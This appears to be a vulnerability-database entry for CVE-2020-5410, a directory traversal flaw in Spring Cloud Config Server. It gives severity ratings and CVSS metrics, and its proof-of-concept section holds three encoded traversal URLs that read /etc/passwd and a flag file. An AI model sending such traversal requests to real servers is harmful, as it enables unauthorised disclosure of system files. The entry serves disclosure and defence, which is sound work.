Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
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CVE-2020-5410

Disclosure Date: June 01, 2020 •
CVE-2020-5410 CVSS v3 Base Score: 7.5
Exploited in the Wild
Reported by gwillcox-r7
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Description

Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.

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Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeUnauthenticated
Technical Analysis

Directory Traversal with spring-cloud-config-server

DESCRIPTION

Spring Cloud Config, 2.2.x versions before 2.2.3, 2.1.x versions before 2.1.9, and older unsupported versions allow applications to provide arbitrary configuration files through the spring-cloud-config-server module. Malicious users or attackers can use specially crafted URLs to send requests, which may lead to directory traversal attacks.

PROOF OF CONCEPT

http://127.0.0.1:8889/flag.txt%23/222/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29tmp%28_%29

http://127.0.0.1:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%252Fflag.txt%23/222/11

http://127.0.0.1:8889/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/222/11

Video POC

https://video.twimg.com/tweet_video/Eah0d6rVAAApHM_.mp4

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CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
Spring Cloud Config 2.1.9
Spring Cloud Config 2.2.3
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
auxiliary/scanner/http/springcloud_directory_traversal
Reporter
Unknown

Vendors

  • vmware

Products

  • spring cloud config

Exploited in the Wild

Reported by:

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis